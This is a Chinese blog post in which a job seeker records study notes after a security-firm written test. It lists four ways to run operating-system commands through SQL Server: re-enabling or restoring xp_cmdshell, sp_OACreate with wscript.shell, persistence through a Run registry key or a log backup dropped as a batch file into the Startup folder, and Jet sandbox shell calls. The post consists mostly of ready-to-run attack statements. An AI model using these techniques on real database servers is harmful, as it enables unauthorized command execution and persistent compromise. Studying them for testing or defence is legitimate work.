通过SQLserver执行系统命令

前言

咋说呢,就是把,我最近找工作然后库库投校招的简历,然后呢,我接到了一个青藤云的笔试机会,哇!我激动的不行,然后我什么都没有准备的上线进行一波答题,答完总结下来,我就是个废物,还是有很多不会的,很多答不上来的,看来这家又是寄了,没办法只能上网把自己不会的充实一下,迎接其他公司的下一次笔试。这里是看了大佬的文章

[大数据]如何通过SQL Server执行系统命令?-码姐姐

方法一:xp_cmdshell 

exec master..xp_cmdshell "whoami"

默认情况下xp_cmdshell 是禁止的,这个时候,可以使用以下命令进行开启

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

如果xp_cmdshell被删除,可以尝试上传xplog70.dll进行恢复,恢复语句:

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

 方法二:SP_OACREATE

当xp_cmdshell 删除以后,可以使用SP_OACreate。首先要打开组件:

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;

语句执行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'

这里要注意一下,此方式执行是无回显的

 方法三:自启动

以下方式需要电脑重启。添加注册表:

xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','ipconfig'

备份添加启动项:

alter database test set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)
create table cmd (a image)--  (新建立一个cmd表)
backup database test  to disk = 'D:\\temp\\cmd'  WITH init --
backup log test to disk = 'D:\\temp\\cmd1'  WITH init --  (减少备分数据的大小)
insert into cmd (a) values (0x0a406563686f206f66660d0a406563686f206f66660d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a400d0a40)
-- (插入cmd命令)
backup log test to disk = 'C:\\Documents and Settings\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat'-- (备分日志到启动路径)
drop table cmd --(删除新建的cmd表)
alter database test set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)

测试发现,Win10+MSSQL 2012导出的批处理并不能顺利执行,可能与系统及数据库版本有一定关系,成功率并不怎么高。

 方法四:通过沙盒执行命令

开启沙盒:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行命令:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

仲瑿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值